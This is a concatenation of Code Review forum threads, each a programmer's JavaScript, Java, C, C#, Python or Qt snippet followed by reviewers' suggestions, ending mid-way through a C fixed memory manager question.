“Offset position on scroll” JavaScript snippet I'm at a loss as to how I could optimize this bit of code. I realize I could place these objects into some sort of array, but I'm not sure how to go about this.

$(document).ready(function () {
   var $stripe01 = $('.stripe-01');
   var $stripe02 = $('.stripe-02');
   var $stripe03 = $('.stripe-03');
   var $stripe04 = $('.stripe-04');
   var $stripe05 = $('.stripe-05');
   var $stripe06 = $('.stripe-06');

$(window).scroll(function () {
    var s = $(this).scrollTop(),
        d = $(document).height(),
        c = $(this).height();

    scrollPercent = (s / (d - c) * 18);
    scrollPercent02 = (s / (d - c) * 14);
    scrollPercent03 = (s / (d - c) * 30);
    scrollPercent04 = (s / (d - c) * 4);

    var position01 = -(scrollPercent * ($(document).width() - $stripe01.width()));
    var position02 = -(scrollPercent02 * ($(document).width() - $stripe01.width()));
    var position03 = -(scrollPercent03 * -($(document).width() - $stripe03.width()));
    var position04 = (scrollPercent04 * -($(document).width() - $stripe04.width()));

    $stripe01.css({
        'left': position01
    });
    $stripe02.css({
        'left': position02
    });
    $stripe03.css({
        'right': position03
    });
    $stripe04.css({
        'right': position03
    });
    $stripe05.css({
        'right': position03
    });
    $stripe06.css({
        'left': position04
    });
});
});

Basic simplifications

It's good to extract duplicated expressions to a local variable:

scrollPercent = (s / (d - c) * 18);
scrollPercent02 = (s / (d - c) * 14);
scrollPercent03 = (s / (d - c) * 30);
scrollPercent04 = (s / (d - c) * 4);

This is equivalent but shorter and safer:

var coef = s / (d - c);
scrollPercent01 = coef * 18;
scrollPercent02 = coef * 14;
scrollPercent03 = coef * 30;
scrollPercent04 = coef * 4;

Similarly:

var position01 = -(scrollPercent * ($(document).width() - $stripe01.width()));
var position02 = -(scrollPercent02 * ($(document).width() - $stripe01.width()));
var position03 = -(scrollPercent03 * -($(document).width() - $stripe03.width()));
var position04 = (scrollPercent04 * -($(document).width() - $stripe04.width()));

Extract the common $(document).width():

var width = $(document).width();
var position01 = -(scrollPercent * (width - $stripe01.width()));
var position02 = -(scrollPercent02 * (width - $stripe01.width()));
var position03 = -(scrollPercent03 * -(width - $stripe03.width()));
var position04 = (scrollPercent04 * -(width - $stripe04.width()));

Btw, the above statements look a bit confusing with the oddly placed negative signs. If I rearrange them, this should be equivalent:

var position01 = -(scrollPercent01 * (width - $stripe01.width()));
var position02 = -(scrollPercent02 * (width - $stripe01.width()));
var position03 =  (scrollPercent03 * (width - $stripe03.width()));
var position04 = -(scrollPercent04 * (width - $stripe04.width()));

Using arrays

To convert to using arrays to be able to process with a loop,
you would need to create parallel arrays,
each with the same number of elements.
In this case 6, because that's the most diverse case you need to support.
Something like this, but I'm not sure it's really any better or more readable than the original:

var $stripes = [
    $('.stripe-01'),
    $('.stripe-02'),
    $('.stripe-03'),
    $('.stripe-04'),
    $('.stripe-05'),
    $('.stripe-06')
];

$(window).scroll(function () {
    var s = $(this).scrollTop(),
        d = $(document).height(),
        c = $(this).height();

    var coef = s / (d - c);
    var scrollPercents = [
        coef * 18,
        coef * 14,
        coef * 30,
        coef * 4
    ];
    var positions = [
        - (scrollPercents[0] * (width - $stripes[0].width())),
        - (scrollPercents[1] * (width - $stripes[0].width())),
          (scrollPercents[2] * (width - $stripes[2].width())),
          (scrollPercents[2] * (width - $stripes[2].width())),
          (scrollPercents[2] * (width - $stripes[2].width())),
        - (scrollPercents[3] * (width - $stripes[3].width()))
    ];
    var layout_param = [
        'left',
        'left',
        'right',
        'right',
        'right',
        'left'
    ];

    for (var i = 0; i < $stripes.length; ++i) {
        $stripes[i].css({
            layout_param[i]: positions[i]
        });
    }
});


EPUB reader for Android How do I improve this code for reading an epub file? The code is as follow:

package org.example.mymenu;

import java.awt.print.Book;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
//import java.util.List;

//import org.example.mymenu.Book;
//import nl.siegmann.epublib.domain.TocReference;
//import nl.siegmann.epublib.epub.epubReader;
import android.app.Activity;
import android.content.res.AssetManager;
//import android.graphics.Bitmap;
//import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.util.Log;

/**
 * Log the info of 'assets/books/testbook.epub'.
 *
 * @author paul.siegmann
 *
 */
public class Eread extends Activity {
  /** Called when the activity is first created. */
  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);
    AssetManager assetManager = getAssets();
    try {
      // find InputStream for book
      InputStream epubInputStream = assetManager
          .open("/assets/sample.epub");

      // Load Book from inputStream
      Book book = (new Eread()).readEpub(epubInputStream);

    } catch (IOException e) {
      Log.e("epublib", e.getMessage());
    }
  }

  Book readEpub(InputStream epubInputStream) {
    // TODO Auto-generated method stub
      Eread epubReader = new Eread();
      try {
        Book book = epubReader.readEpub(new FileInputStream("sample.epub"));
    } catch (FileNotFoundException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
    return null;
  }

}

According to the Code Conventions for the Java Programming Language, 9. Naming Conventions, I'd call the class EpubReader. The name should be a noun, and try to avoid abbreviations which makes the code harder to read.
Couldn't the readEpub method be private? Why has it default access?
The readEpub does not use the epubInputStream parameter. Why is it read sample.epub? It looks like a test code. Furthermore, this class seems really incomplete. onCreate creates a new Eread instance then calls its readEpub method. The readEpub creates (again!) a new Eread instance (epubReader) then calls its readEpub method. It's an endless loop.
onCreate is an instance method, so you could call readEpub without creating a new Eread instance:

Book book = readEpub(epubInputStream);


My for-each implementation I have implemented for-each as in jQuery, this is the code below,

var $ = (function(){
   var obj = {};
   return obj;
})();

$.each = function(collection,fn){

    if(collection.constructor.name === 'Array'){
        for(var i = 0; i < collection.length; i++){
            fn.call(this,collection[i]);
        }
    }else{
        for(var prop in collection){
            fn.call(this,collection[prop]);
        }
    }

};

$.each([1,2,3,7,8],function(num){
    console.log(num * 2);
});

$.each(['A','B','C'],function(char){
    console.log(char);
});

$.each({
    name : 'Rahul Shivsharan',
    department : 'Computer Science'
},function(value){
       console.log(value);
});

The output of the code is

2
4
6
14
16
A
B
C
Rahul Shivsharan
Computer Science

Please review my jQuery style for-each implementation, and let me know your feedback

To extend jQuery EACH I think it will confuse other developers especially during the maintenance period without you. To be better looping your collections you may need to use UnderscoreJS vs Lodash. They come with many useful collection functions.


Moving circles along a ray to eliminate location check I have a function that moves circles out of the way of an expanding circle. It moves them along a ray from the center of the expanding circle through the center of the circle to move. This allows all surrounding circles to move without overlapping.

Here's a diagram to better explain this:

I expand the size of the red circle from 100px to 200px. I want to move all the blue circles out of the way by half the difference ( (200-100)/2 = 50px, in this example ) along the gray line (with the gray line being different for each blue circle).

jsFiddle

$this.siblings( ".circle" ).each( function() {

    var $this = $( this ),
        circle = $this.data(),
        circleX = circle.left + circle.radius,
        circleY = circle.top + circle.radius,
        a = Math.abs( hoveredY - circleY ),
        b = Math.abs( hoveredX - circleX ),
        c = Math.sqrt( ( a*a ) + ( b*b ) ),
        A = Math.acos( b / c ),
        C = 90 * ( Math.PI / 180 ),
        B = C - A,
        sinA = Math.sin( A ),
        sinB = Math.sin( B ),
        sinC = Math.sin( C ),
        newc = c + ( expand / 2 ),
        newa = ( newc * sinA ) / sinC,
        newb = ( newc * sinB ) / sinC,
        newX = hoveredX + ( hoveredX > circleX ? -newb : newb ),
        newY = hoveredY + ( hoveredY > circleY ? -newa : newa ),
        left = newX - circle.radius,
        top = newY - circle.radius;

    $this.animate( {

        "left": left,
        "top": top

    }, 75 );

});

hoveredX and hoveredY are the left and top coordinates of the red circle and expand is how much the red circle is expanding in pixels.

Mathematically, I'm sure there is a better way to do this, but I got this way working, and it's fine (although I'm not opposed hearing better solutions). But the one part I don't like about this function are the two lines:

newX = hoveredX + ( hoveredX > circleX ? -newb : newb ),
newY = hoveredY + ( hoveredY > circleY ? -newa : newa ),

What bugs me is that I'm having to do the check at all. Those two lines are basically saying, "If the circle is on the left/top do it one way, and if it's on the right/bottom do it another way". I feel like I'm missing something earlier in the function that could be solved by switching the sides of operators, adding instead of subtracting, or getting the absolute value.

I had two thoughts. One was ... You really only need an angle and a distance. The distance is the amount you expand and the angle can be derived from the x/y coordinates.

http://jsfiddle.net/uLu7v/38/

first you calculate the angle:

var angle = Math.atan2(hoveredY - circleY, hoveredX - circleX);

Then you calculate the distance they move:

var topMove = ((expand /2 ) * Math.sin(angle)); // sin for Y
var leftMove = ((expand /2 ) * Math.cos(angle)); // cos for X

then use jQuery's built in animate +=:

$this.animate( {
    "left": "-=" + leftMove + "px",
    "top":  "-=" + topMove + "px"
}, 75 );

Tada!

Edit:- A couple of improvements in the code not supplied in the question:

In function inCircle() change the return statement to return (mouseDistance <= radius); Using the ternary operator to return a boolean? ... I'm sure it used to return some other values right?

In $( ".circle" ).click( :

if(!$( this ).data( "clicked" ) && inCircle( $( this ), event.pageX, event.pageY ) ) {

    $( this ).data( "clicked", true );
    setLocations( this, 200, event );

} else {

    resetLocations();
    $( this ).data( "clicked", false );

};

Makes it cleaner but not a real improvement otherwise, more of a preference.

In function setLocations() your circle parameter conflicts with the local circle variable. I would change the parameter to circleElement.


Faster Sudoku solver in C I am writing a Sudoku solver in C, but am having problems with how long it takes to run. It can solve easier puzzles but once I put in one a little more difficult it runs and runs and never stops.

int solver (int x, int y)
{
  int a;
  int b;
  int i;
  int j;

  printf("Depth: %d\n", counter);

  for (a=1; a<10; a++)
  {
    if (checkEverything(x, y, a))
    {
      board[x][y] = a;
      counter++;

      if (counter == 81)
      {
        return true;
      }

      if (counter > 200 || counter < -10) {
        return false;
      }

      for (i=0; i<9; i++)
      {
        for (j=0; j<9; j++)
        {
          if (board[i][j] == 0)
          {
            if (solver(i, j))
            {
              return true;
            }
          }
        }
      }

      counter--;
      //printf("%d", a);
    }
  }

  //printf("No Solution1");
  board[x][y] = 0;
  return false;
}

There are a number of things that could be improved in this code.

Post complete code

I understand that this code was migrated from Stack Overflow where the rules are a little different, but here on Code Review, we want to see not just one small piece but the whole code.  I can guess what checkEveryting() and solver() might do, but you'll get better reviews here by not making reviewers guess.

Use a better algorithm

The fundamental problem with this code is that the algorithm is very inefficient.  Look at the Related panel to the right and you'll see more than a half dozen other similar programs.  Look over those to get ideas about how this might more efficiently be done.

Make the formatting consistent

The code currently include this:

  if (counter == 81)
  {
    return true;
  }

  if (counter > 200 || counter < -10) {
    return false;
  }

In one case, the opening { is on the same line, and in the other it's on the next line.  It's a small thing, but it's useful to choose a convention and stick with it.

Avoid the use of global variables

I see that counter and board are declared as global variables rather than as local variables. It's generally better to explicitly pass variables your function will need rather than using the vague implicit linkage of a global variable.

Use meaningful variable names

The variable names a, and b are not at all descriptive. Better naming makes your code easier to read, understand and maintain.

Eliminate unused variables

Unused variables are a sign of poor code quality, so eliminating them should be a priority.  In this code, b is declared but never actually used.  My compiler also tells me that.  Your compiler is probably also smart enough to tell you that, if you ask it to do so.


Adding or updating Company entity Here I am trying to post a company view-model and update and insert according. But I feel I am writing it in wrong way or maybe there's a better approach.

Here's my code

[Route("Master/Company/Post"), HttpPost, ValidateAntiForgeryToken]
    public async Task<ActionResult> CompanyPostAsync(CompanyViewModel model)
    {
        model.CountryList = GetCountries();

        //System.Threading.Thread.Sleep(3000);
        var _viewName = "Companies";
        if (!ModelState.IsValid)
            return View(_viewName, model);

        try
        {
            var find = await con.Companies.FirstOrDefaultAsync(x => x.ID == model.ID);
            var currentUser = CurrentUser();
            if (find != null)
            {
                find.Name = model.Name;
                find.Alies = model.Alies;
                find.Line1 = model.Line1;
                find.Line2 = model.Line2;
                find.City = model.City;
                find.State = model.State;
                find.CountryId = model.CountryId;
                find.ZipCode = model.ZipCode;
                find.POBoxNo = model.POBoxNo;
                find.Telephone = model.Telephone;
                find.Mobile = model.Mobile;
                find.Email = model.Email;
                find.Website = model.Website;
                find.IncorporatedNumber = model.IncorporatedNumber;
                find.IncorporatedDate = model.IncorporatedDate;
                find.IsTaxApplicable = model.IsTaxApplicable;
                find.IsLogoPrintInReport = model.IsLogoPrintInReport;
                find.LogoPath = model.LogoPath;
                find.IsActive = model.IsActive;
                find.SaveCount += 1;

            }
            else
            {
                var company = new Company
                {
                    Name = model.Name,
                    Alies = model.Alies,
                    Line1 = model.Line1,
                    Line2 = model.Line2,
                    City = model.City,
                    State = model.State,
                    CountryId = model.CountryId,
                    ZipCode = model.ZipCode,
                    POBoxNo = model.POBoxNo,
                    Telephone = model.Telephone,
                    Mobile = model.Mobile,
                    Email = model.Email,
                    Website = model.Website,
                    IncorporatedNumber = model.IncorporatedNumber,
                    IncorporatedDate = model.IncorporatedDate,
                    IsTaxApplicable = model.IsTaxApplicable,
                    IsLogoPrintInReport = model.IsLogoPrintInReport,
                    LogoPath = model.LogoPath,
                    IsActive = model.IsActive,
                    SaveCount = 1
                };
                con.Companies.Add(company);
            }

            await con.SaveChangesAsync();
            CallSaved(true);
            return RedirectToAction("Companies", "Master", new { id = find?.ID });
        }
        catch (Exception ex)
        {
            CallSaved(false, ex.Message);
            return View(_viewName, model);
        }

    }

You can get rid of the redundancy by using the EntityState. You first try to get the SaveCount. Then based on this value you set the State either to Added or Modified. Something like this should work:

    var companySaveCount = await con.Companies.SingleOrDefault(x => x.ID == model.ID)?.SaveCount ?? 0;

    var company = new Company
    {
        ...
        SaveCount = saveCount + 1
    };

    var companyExists = companySaveCount > 0;
    con.Entry(company).State =
        companyExists
            ? EntityState.Modified;
            : EntityState.Added;
    }

    await con.SaveChangesAsync();

Alternatively the first query could be just:

var companySaveCount = await con.Companies.Where(x => x.ID == model.ID).Select(x => x.ID).SingleOrDefult();

so that you don't have to get the entire object.


java Thread-safe LRUCache implementation What is best way to implement thread-safe LRUCache in java?
Please review this one.
Is there any better approach which can be taken here?

package cache;

import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReadWriteLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;

public class  LRUCache<K,V> {

    private  ConcurrentLinkedQueue<K> concurrentLinkedQueue = new ConcurrentLinkedQueue<K>();

    private  ConcurrentHashMap<K,V> concurrentHashMap = new ConcurrentHashMap<K, V>();

    private ReadWriteLock readWriteLock = new ReentrantReadWriteLock();

    private Lock readLock = readWriteLock.readLock();

    private Lock writeLock = readWriteLock.writeLock();

    int maxSize=0;

    public LRUCache(final int MAX_SIZE){
        this.maxSize=MAX_SIZE;
    }

    public V getElement(K key){

        readLock.lock();
        try {
        V v=null;
          if(concurrentHashMap.contains(key)){
              concurrentLinkedQueue.remove(key);
              v= concurrentHashMap.get(key);
                concurrentLinkedQueue.add(key);
          }

        return v;
        }finally{
            readLock.unlock();
        }
    }

    public V removeElement(K key){
         writeLock.lock();
         try {
        V v=null;
        if(concurrentHashMap.contains(key)){
        v=concurrentHashMap.remove(key);
            concurrentLinkedQueue.remove(key);
        }

        return v;
         } finally {
             writeLock.unlock();
         }
    }

    public V addElement(K key,V value){
        writeLock.lock();
        try {
        if(concurrentHashMap.contains(key)){
             concurrentLinkedQueue.remove(key);
        }
        while(concurrentLinkedQueue.size() >=maxSize){
             K queueKey=concurrentLinkedQueue.poll();
             concurrentHashMap.remove(queueKey);
        }
        concurrentLinkedQueue.add(key);
        concurrentHashMap.put(key, value);

        return value;
        } finally{
            writeLock.unlock();
        }
    }
}

Advice 1

This implementation is not thread safe. For example, if two threads invoked getElement(key1) simultaneously, they may runs to concurrentLinkedQueue.add(key) at same times(they both performed delete and get, but delete will fail the second time or just do nothing), then two same keys will be added.

Advice 2

Maybe capacity is more suitable than maxSize.

Advice 3

LinkedHashMap is often used as LRU cache.


switch to create number of symbols This code shows an icons from the Segoe MDL2 Assets font, depending on the number in a variable. However, I'm sure there is a more elegant way of doing this.

switch (numberOfPeople)
{
    case 0:
        return "";
    case 1:
        return "\xE77B";
    case 2:
        return "\xE77B \xE77B";
    case 3:
        return "\xE77B \xE77B \xE77B";
    case 4:
        return "\xE77B \xE77B \xE77B \xE77B";
    default:
        break;

}

I'm sure there is a more elegant way of doing this.

Indeed. With LINQ. You can generate multiple instances with Repeat and join them with string.Join

var symbol = "\xE77B";
var separator = " ";
var count = 5
var result = string.Join(separator, Enumerable.Repeat(symbol, count));

This will work with count = 0 too and generate an empty string.


Timer Tick Event only to execute at specific time I have a timer that is only supposed to tick between x and x on weekdays.

I have used the following implementation.

 void tmrMain_Tick(object sender, EventArgs e)
    {
        if (!(DateTime.Now.DayOfWeek == DayOfWeek.Saturday || DateTime.Now.DayOfWeek == DayOfWeek.Sunday))
        {
            if ((IsTimeOfDayBetween(DateTime.Now, new TimeSpan(8, 0, 0), new TimeSpan(18, 0, 0))))
            {
                if (pnlAssembly.Visible == true)
                {
                    cmdShed.PerformClick();

                }
                else if (pnlShed.Visible == true)
                {
                    cmdServices.PerformClick();
                }
                else if (pnlWeb.Visible == true)
                {
                    cmdAssembly.PerformClick();
                }
            }
        }
    }
    static bool IsTimeOfDayBetween(DateTime time,
                                  TimeSpan startTime, TimeSpan endTime)
    {
        if (endTime == startTime)
        {
            return true;
        }
        else if (endTime < startTime)
        {
            return time.TimeOfDay <= endTime ||
                time.TimeOfDay >= startTime;
        }
        else
        {
            return time.TimeOfDay >= startTime &&
                time.TimeOfDay <= endTime;
        }

    }

Is this the way to go?

Here is another alternative...

private void tmrMain_Tick(object sender, EventArgs e)
{
    if (ShouldRunNow())
        PerformClick();
}

private void PerformClick()
{
    if (pnlAssembly.Visible)
        cmdShed.PerformClick();

    else if (pnlShed.Visible)
        cmdServices.PerformClick();

    else if (pnlWeb.Visible)
        cmdAssembly.PerformClick();
}

private bool ShouldRunNow()
{
    TimeSpan startTime = new TimeSpan(8, 0, 0);
    TimeSpan endTime = new TimeSpan(18, 0, 0);
    DateTime now = DateTime.Now;

    // Only run Saturday and Sunday
    if (now.DayOfWeek != DayOfWeek.Saturday && now.DayOfWeek != DayOfWeek.Sunday)
        return false;

    // Only run between the specified times.
    if (endTime == startTime )
        return true;

    if (endTime < startTime)
        return now.TimeOfDay <= endTime || now.TimeOfDay >= startTime;

    return now.TimeOfDay >= startTime && now.TimeOfDay <= endTime;
}

Couple notes:
I think this is what ANeves meant by "would also consider extracting to a method the logic of whether or not to do the actions" but not sure so I decided to show it.  By putting the entire decision tree in a method you have self documenting code (the "if (ShouldRunNow())" describes what you are trying to do without needing comments).

Eliminating "else" statements makes your code more readable (IMHO)

I personnally think using brackets when there is only one statement makes your code less readable as well.  Of course, this is my own opinion and I even have people at my workplace that disagree with this.  I will let the readers decide :)

Since the ShouldRunNow method is private then it doesn't hurt to not pass in the parameters.  And putting them directly in the method will make them easier to find.  This is not a big deal either way but just another alternative.

Update
Changed code based on feedback in comments


Find sum of number of times that each character of source occurs in the target I wrote the following code in response to this question "find sum of number of times that each character of source occurs in the target", is there any better solution for it?

Analysis

Target is alex alexander
Source is ardx
Characters of source that exist in target are like a--x-a--xa-d-r
Total is 7.

Code

    String target = "alex alexander";
    String source = "ardx";
    char[] a = source.toCharArray();
    int occurrences = 0;

    for (int i = 0; i < a.length; i++) {
        String t = target;
        int index = t.indexOf(a[i]);

        while (index != -1) {
            occurrences++;
            t = t.substring(index + 1);
            index = t.indexOf(a[i]);
        }

    }
    System.out.println(occurrences);
}

Output

7

Your code is neat, well structured, and generally very readable. People solving this problem are often beginners, and your code, for a beginner, is good.

My only style complaint is the use of a for the array variable name.

Your algorithm is technically a nested loop. You loop through each character in the source, and for each of the source characters, you loop through the characters in target.

Note that the indexOf function is essentially a loop, it starts at the start index, and loops until it gets to the end, or the character. Your while loop is just a way to 'pause' the loop at significant places.

So, your algorithm will scan the target one time for each source character. Each time there is a match, you increment the occurrences.

Your algorithm could be made more apparent if you were to make the inner loop more obvious:

for (int j = 0; j < target.length(), j++) {
    if (target.charAt(j) == a[i]) {
        occurrences++;
    }
}

That makes the logic more visible, and removes the call to indexOf....

Obviously, it would help to convert the target to a char array outside the loop:

char[] tchars = target.toCharArray();

and then the inner loop would be:

for (int j = 0; j < tchars.length, j++) {
    if (tchars[j] == a[i]) {
        occurrences++;
    }
}

There is a potential bug with your solution.... if a character is duplicated in the source, you will double-count it in the result.

You will want to deal with that.

There is also a possibly more efficient algorithm which would be useful for large strings, but, with anything less than say 100 chars, I would not bother. That algorithm would require setting up a HashMap or other data structure from the source chars, and then just looping once through the target chars to get the counts.


Recursion function for prime number check I have this code:

def has_divisors(n, i=2):
    """
    Check if a number is prime or not
    :param n: Number to check
    :param i: Increasing value that tries to divide
    :return: True if prime, False if not
    """
    if n <= 1:
        return False
    if i + 1 == n:
        return True
    if n <= 2 and n > 0:
        return True
    if n % i == 0:
        return False
    return has_divisors(n, i + 1)

Which tell if a number is prime or not, problem is that it can check if a number is prime up to +- 1500 after that it enters into maximum recursion depth error. Does anyone has any idea how to make this code more efficient and get to higher numbers (I don't want a completely different code if possible, yes I know recursion is not a good idea for this function but I have to use it) Thank you!

Python and recursion are not a good mix, because Python doesn't do tail call optimization.  (There's a fun blog post here that explores a cheesy workaround that you probably don't want to do for this project: https://chrispenner.ca/posts/python-tail-recursion)

Leaving that aside, there are two opportunities I see for optimization:

if i + 1 == n:
    return True

The largest minimum factor of any given number is going to be its square root, so you don't need to look for factors all the way up to n.

return has_divisors(n, i + 1)

If n wasn't divisible by 2, it's not going to be divisible by any other even number, so this recursive call is a waste of time (and stack space) at least half the time.  Are there any other ways you might be able to know before you recurse that a given new value of i isn't going to be fruitful?


Initial starting player I'm making a game battle system, where there are 2 players.

Every player can have multiple units to control, but only one at a time.
Every unit has an int curSpeed variable;

I need to have in 2 variables who attacks first (Player f) and who attacks second (Player s), based on the speed of the current controlling unit.

At the moment I have this code:

player_1 and player_2 are instances of Player Class
current, is a instance of Unit Class, it is the current controlling unit.

Player f = null; //Player attacking first
Player s = null; //Player attacking second

//Check the speed of the units, and determine who attack first
f = player_1.current.curSpeed > player_2.current.curSpeed ? player_1 : player_1.current.curSpeed < player_2.current.curSpeed ? player_2 : null;

//if f is null (units have the same speed)
if(f==null){
    //Randomize who goes first
    System.Random rnd = new System.Random();
    int rng = rnd.Next(0,2);
    f = rng == 0 ? player_1 : player_2;
    s = rng == 0 ? player_2 : player_1;
}else{
    s = f.id == player_1.id ? player_2 : player_1;
}

It is working, but I feel that this is confusing and the 'wrong way' to do it.

I need tips on how I can code this in a better way.

UPDATE:
New version of the code including all the suggestions can be found here.

Your code is indeed confusing, primarily because of the naming:

f should be firstPlayer, s should be secondPlayer and curSpeed should be speed or currentSpeed (it depends on whether there are other "speeds" to distinguish from).

Another remark: properties are UpperCamelCase so this

player_1.current.curSpeed

should be

player_1.Current.Speed


Coderbyte SimpleSymbols challenge in Javascript I am working on a CoderByte problem in JavaScript. I have solved the problem below. Although I am trying to figure out if there is an easier way to do it? I am guessing RegEx will come up, although I don't have experience with that yet.

From CoderByte:

  Using the JavaScript language, have the function SimpleSymbols(str)
  take the str parameter being passed and determine if it is an
  acceptable sequence by either returning the string true or false. The
  str parameter will be composed of + and = symbols with several letters
  between them (ie. ++d+===+c++==a) and for the string to be true each
  letter must be surrounded by a + symbol. So the string to the left
  would be false. The string will not be empty and will have at least
  one letter.

My implementation:

var str = "++d+===+c++=";

var simpleSymbols = function (str) {
    for (var i = 0; i < str.length; i++) {
        if (str[i] != '+' && str[i] != '=' && !(str[i] >= 'a' && str[i - 1] == '+' && str[i + 1] == '+')) {
            return false;
        }
    }
    return true;
}

simpleSymbols(str);

How about this logic?

if the first character or last character is a letter it's false
then go through the array and look for the letters

skip it if is a = or a +
if it isn't a = or a + then check that the character before and after is a +

So something like this:

var simpleSymbols = function (s) {
    if (s[0] != "+" && s[0] != "=") {
        return false;
    } else if (s[s.length - 1] != "+" && s[s.Length - 1] != "=") {
        return false;
    } else {
        for (var i = 1; i<s.Length - 1; i++) {
            if (s[i] != "+" && s[i] != "=") {
                if (s[i-1] != "+" || s[i+1] != "+") {
                    return False;
                }
            }
        }
    }
    return true;
}

This code is cleaner than what you have.

With this block of code:

it's more readable
it exits if the first or last character is a letter, immediately preventing unnecessary iterations in a for loop.
it's easier to read
it's easier to follow (in my opinion)

Bottom Line

Your code is not efficient.  All of the if statements fire every iteration until the end of the string is met or a return is met.

if the last character is a letter, will return false and not loop through the whole string.
will not perform a "before and after check" unless the character is a letter

It may not make a difference in smaller strings, but if you have a huge string to parse, it will make a difference.

I have been told the the CoderBytes challenge will include numbers that don't need to be surrounded by +'s, and I wanted to steal a little of @Konijn's answer as well.

All of my above points still stand for this code block as well.

var simpleSymbols = function (s) {
    if (s[0] >= 'a' || s[s.length -1] >= 'a') {
        return false;
    } else {
        for (var i = 1; i<s.length - 1; i++) {
            if (s[i] >= 'a') {
                if (s[i-1] != "+" || s[i+1] != "+") {
                    return false;
                }
            }
        }
    }
    return true;
}

NOTE

This code is the most efficient way to perform this task.

It exits if the first or last character is a letter because you can't have a + before the first character or a + after the last character, thus failing the filter.
It only checks the before and after characters if the character is a letter.  This prevents unnecessary if statements from being performed
All the other answers so far will check every character and the before and after character until it returns.  This could be an issue if the string is say 500,000 characters long,  you would see a definite decrease in performance.
This code will not loop through the whole string if there is a letter in the last character position, which would make it a lot more efficient in those cases.


How do I better structure Java code to avoid dereferencing null? I have the situation where as long as the user gives valid input, the StringBuilder object will not be null.

StringBuilder sb = null;
switch(userInput)
{
  case 1:
    sb = method1();
    break;
case 2:
    sb = method2();
    break;
case 3:
    sb = method3();
    break;
case 4:
    sb = method4();
    break;
default:
    System.out.println("invalid input");
}

System.out.println(sb.toString);//gives warning "dereferncing possible null pointer

Update: for those commenting it should be String instead of StringBuilder could you please explain? The method does a lot of appending so it needs to use String. Why would you bother converting to String if you can directly print out a StringBuilder? It seems like there's an implicit belief that a StringBuilder should always be converted to a String.

You need to ensure that every statement in the switch is one that ensures that sb != null holds, this is not the case currently.

You can fix this by throwing an exception instead of logging a message, like this:

default:
    throw new IllegalArgumentException("input was invalid: " + userInput);

I also included that it tells you what the actual input was.

Other remarks are that your code has syntax errors, making it borderline ontopic, and your coding style definately needs improvement, I propose the following hence:

StringBuilder sb = null;
switch (userInput) {
    case 1:
        sb = method1();
        break;
    case 2:
        sb = method2();
        break;
    case 3:
        sb = method3();
        break;
    case 4:
        sb = method4();
        break;
    default:
        throw new IllegalArgumentException("input was invalid: " + userInput);
}

System.out.println(sb.toString());

Furthermore it seems very odd to me that your methods return a StringBuilder. I would just work with Strings here, as you are not doing an extensive amount of string concatenation.

Short guide:

String, to be used for regular text.
StringBuilder, to be used when you need to concentate/append a lot of strings.
StringBuffer, similar to StringBuilder, but now add to that that you are working in a multithreaded environment, hence you will almost never need this.


Reimplemented QAbstractTableModel::setData I have subclassed Qt QAbstractTableModel with QJsonDocument as data source which I have reimplemented the setData() method in:

bool UeJsonPlacesTableModel::setData(const QModelIndex& index,
                                     const QVariant& value,
                                     int role)
{
    if(role!=Qt::EditRole||
             index.row()<0||
             index.row()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size():0||
             index.column()<0||
             index.column()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size()>0?this->m_ueJsonData.object().size():0:0)
    {
        return false;
    }   // if

    QVariantList dataList=this->m_ueJsonData.toVariant().toList();
    QVariantMap dataVariantMap=this->m_ueJsonData.toVariant().toList().at(index.row()).toMap();
    QVariantMap::const_iterator dataIterator=dataVariantMap.constBegin();
    int dataIndex=0;
    QString keyName=QString();
    QString dataValue=QString();

    while(dataIterator!=dataVariantMap.constEnd())
    {
        if(dataIndex==index.column())
        {
            keyName=dataVariantMap.keys().at(dataIndex);
        }
        else
        {
            dataIterator++;
            dataIndex++;
        }   // if
    }   // while

    QVariantMap changedData;

    changedData.insert(keyName,
                       value.toString());

    dataList.replace(index.row(),
                     changedData);

    this->m_ueJsonData=QJsonDocument::fromVariant(dataList);

    emit(dataChanged(index,
                     index));

    return true;
}   // setData

My humble opinion is that the code is very ugly. Can someone show me guidelines for its optimisation?

if(role!=Qt::EditRole||
         index.row()<0||
         index.row()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size():0||
         index.column()<0||
         index.column()>=this->m_ueJsonData.isArray()?this->m_ueJsonData.array().size():this->m_ueJsonData.isObject()?this->m_ueJsonData.object().size()>0?this->m_ueJsonData.object().size():0:0)
{

Stop. Regardless of what you're doing here, you should not be doing so many things in one condition. This looks like you need to write a new function instead.

Talking about functions, they'd greatly improve the readability and maintainability of your code. Now you got everything in one big bool. Your while could use it's own function. The data changing, inserting and replacing could probably use a wrapper as well. If you give those functions meaningful names, the readability will increase big time!

Imagine the following:

  You haven't touched this code in 6 months. Now you want to add a feature. To add this feature, you try to understand how this code works and why you wrote it like this. Since it has been a while, you can't rely on your memory. How long would it take you to grasp the workings of this function?

Exactly. Way longer than necessary. Now imagine you share this code. Like you did here. How long does it take someone not familiar with your program to figure it out? Way longer than necessary.

For the sake of your future self, improve the readability of the code by splitting things up.


Fixed memory manager in C I decided to not use heap in my program and create a custom memory manager to retrieve memory chunks from a big global array of uint8_t(u8). I chose u8 since 8 bits is a byte. The very big MEMORY_BLOCK_SIZE is not a problem since in Release builds the compiler will remove the unused bytes. I keep track of free memory chunks with something i call "lookups".
#include <assert.h>

// NOTE: null is a redefinition of NULL
// NOTE: u8 = uint8_t
// NOTE: u64 = uint64_t

#define MEMORY_BLOCK_SIZE 8388608
#define MEMORY_LOOKUPS 8

static u8 memoryBlock[ MEMORY_BLOCK_SIZE ];
static u8* memoryLookups[ MEMORY_LOOKUPS ];
static u64 memoryLookupsSizes[ MEMORY_LOOKUPS ];

void memoryInit( void )
{
     memoryLookups[ 0 ] = memoryBlock;
